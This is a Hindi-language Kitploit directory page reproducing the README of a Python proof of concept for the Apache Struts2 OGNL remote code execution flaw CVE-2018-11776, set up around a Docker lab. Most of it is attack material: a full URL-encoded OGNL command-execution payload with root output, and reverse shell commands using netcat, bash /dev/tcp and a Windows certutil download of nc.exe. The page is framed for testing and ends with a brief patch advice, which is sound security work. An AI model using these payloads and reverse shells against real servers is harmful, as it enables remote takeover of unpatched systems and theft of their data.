Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2018-11776-Python-PoC — CVE-2018-11776 के लिए कार्यशील Python टेस्ट और PoC, जिसमें Docker लैब शामिल है | Kitploit
उपकरण/GitHubGitHub/hook-s3c/cve-2018-11776-python-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगपेलोड डेवलपमेंटलैब और अभ्यास
GitHubhook-s3c/cve-2018-11776-python-poc

CVE-2018-11776-Python-PoC

CVE-2018-11776 के लिए कार्यशील Python टेस्ट और PoC, जिसमें Docker लैब शामिल है

रिपॉजिटरी देखें
1234938 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2018-11776-Python-PoC

hook-s3c (github.com/hook-s3c), ट्विटर पर @hook_s3c

CVE-2018-11776 के लिए कार्यशील Python परीक्षण और PoC, मूल रूप से इस पर उपलब्ध; https://github.com/hook-s3c/CVE-2018-11776-Python-PoC

क्या हो रहा है?

Semmle के Man Yue Mo ने एक Struts2 RCE भेद्यता का खुलासा किया है, जो किसी अनुरोध के URL पथ में एन्कोडेड पेलोड के रूप में वितरित की जाती है।

प्रभावित संस्करण 2.3 से 2.3.34 और 2.5 से 2.5.16 हैं।

डिफ़ॉल्ट कॉन्फ़िगरेशन असुरक्षित नहीं है, लेकिन यदि गलत कॉन्फ़िगर किया गया... F।

अपना docker इंस्टेंस सेट करें

exploit cve-2017-5638 के लिए बने docker कंटेनर के साथ ठीक काम करेगा (struts2-showcase-2.3.12)

root@kitploit:~
$ docker pull piesecurity/apache-struts2-cve-2017-5638
$ docker run -d --name struts2 -p 32771:8080 piesecurity/apache-struts2-cve-2017-5638

अपना कमजोर कॉन्फ़िगरेशन सेट करें

root@kitploit:~
$ apt-get install vim
$ vim /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml 

नीचे दिया गया कॉन्फ़िगरेशन जोड़ें;

root@kitploit:~
<action name="help">
            <result type="redirectAction">
                    <param name="actionName">date.action</param>
            </result>
    </action>

और यह भी;

root@kitploit:~
<struts>
  <constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />

अपने tomcat और/या कंटेनर को पुनरारंभ करें

root@kitploit:~
$ /usr/local/tomcat/bin/shutdown.sh

सत्यापित करें कि लक्ष्य असुरक्षित है

रीडायरेक्ट और मूल्यांकन होता है या नहीं यह देखने के लिए url का परीक्षण करें;

http://0.0.0.0:32771/${2+2}/help.action > http://0.0.0.0:32771/4/date.action

परीक्षण स्क्रिप्ट के साथ;

root@kitploit:~
$ ./exploitS2-057-test.py http://0.0.0.0:32771/showcase.action
testing the url for exploit; http://0.0.0.0:32771/${12612+24867}/help.action
URL http://0.0.0.0:32771/showcase.action s2-057 CVE-2018-11776 is vulnerable!

कमांड निष्पादित करें PoC

root@kitploit:~
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'id'
[Execute]: https://raw.githubusercontent.com/hook-s3c/cve-2018-11776-python-poc/master/id
[Url]: http://0.0.0.0:32771/$%7B(%23_memberAccess%5B%27allowStaticMethodAccess%27%5D=true).(%23cmd=%27id%27).(%23iswin=(@java.lang.System@getProperty(%27os.name%27).toLowerCase().contains(%27win%27))).(%23cmds=(%23iswin%3F%7B%27cmd.exe%27,%27c%27,%23cmd%7D:%7B%27bash%27,%27-c%27,%23cmd%7D)).(%23p=new%20java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process=%23p.start()).(%23ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(%23process.getInputStream(),%23ros)).(%23ros.flush())%7D/help.action



uid=0(root) gid=0(root) groups=0(root)

रिवर्स शेल

रिवर्स शेल स्वीकार करने के लिए अपना बॉक्स तैयार करें;

root@kitploit:~
$ netcat -lvp 31337

स्क्रिप्ट चलाएँ;

root@kitploit:~
# you'll want to install netcat
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'apt-get install netcat -y'

# now pop that shell 
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'netcat -e "$SHELL" 172.17.0.1 31337'

32771 को अपने एक्सपोज़्ड कंटेनर पोर्ट से बदलें

Bash के माध्यम से अपडेटेड तरीका, अब फॉरवर्ड-स्लैश समर्थित हैं।

root@kitploit:~
$ netcat -lvp 31337
root@kitploit:~
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 "/bin/bash -i >& /dev/tcp/172.17.0.1/31337 0>&1"

Windows रिवर्स शेल (अपरीक्षित)

root@kitploit:~
# grab netcat binary
# https://stackoverflow.com/questions/28143160/how-can-i-download-a-file-with-batch-file-without-using-any-external-tools

$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'certutil.exe -urlcache -split -f "https://yourhostingservice.1337/files/netcat.exe" nc.exe'

# execute
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'nc.exe 172.17.0.1 31337 –e cmd.exe'

डीबग नरक (नोट्स)

फॉरवर्ड-स्लैश (/) वाले सभी अनुरोध विफल होंगे क्योंकि Tomcat इन्हें सक्रिय रूप से ब्लॉक करता है, आपको इसके आसपास काम करने की आवश्यकता हो सकती है, उदाहरण के लिए ऊपर दिए गए उदाहरण में /bin/bash के लिए पर्यावरण चर के रूप में $SHELL का उपयोग करना।

  • https://stackoverflow.com/questions/9719224/coding-forward-and-backward-slashes-in-tomcat-7
  • http://engineering.widen.com/blog/tomcat-slashes/

इसे ध्यान में रखते हुए, windows /c फ़्लैग उम्मीद के अनुसार काम नहीं करेगा। मैंने इसका परीक्षण केवल docker कंटेनर पर किया है।

अपडेट

@Menin_TheMiddle को धन्यवाद कि उन्होंने दिखाया कि फॉरवर्ड-स्लैश समस्या हल की जा सकती है, कोड अब फॉरवर्ड-स्लैश का समर्थन करता है और इसलिए bash के माध्यम से netcat के बिना रिवर्स शेल भी अब संभव है, साथ ही अब Windows इंस्टेंस का भी समर्थन करता है (अपरीक्षित)।

शमन

अपने Struts को पैच करें, या बस इसका उपयोग न करें।

मुझे लगता है कि आप हमेशा पहचान धोखाधड़ी उत्पाद बेच सकते हैं यदि आपके पास उल्लंघन हो और आपके सभी ग्राहक विवरण लीक हो जाएँ! (आप जानते हैं कि आप कौन हैं, बिल्कुल नीच)

श्रेय

धन्यवाद;

  • भेद्यता का खुलासा करने के लिए Semmle के Man Yue Mo (https://semmle.com/news/apache-struts-CVE-2018-11776)
  • Dockerfile लैब और OGNL पेलोड के उदाहरण के लिए piesecurity (https://github.com/piesecurity/apache-struts2-CVE-2017-5638)
  • विधि पर लेख लिखने के लिए xfox64x (https://github.com/xfox64x/CVE-2018-11776)
  • परीक्षण के लिए jiguang7 (https://github.com/jiguang7/CVE-2018-11776)
  • @Menin_TheMiddle को लेख (https://www.secjuice.com/apache-struts2-cve-2018-11776/) और मुझे मेरी जगह दिखाने के लिए :) कोड अब अंततः windows और bash रिवर्स शेल का समर्थन करता है

अभिवादन

vap0rsquad को शाउट आउट!!! sH3llG0d - Willow - D@3M0¢π1 - n4t4s - 23pieces

टूल डाउनलोड करें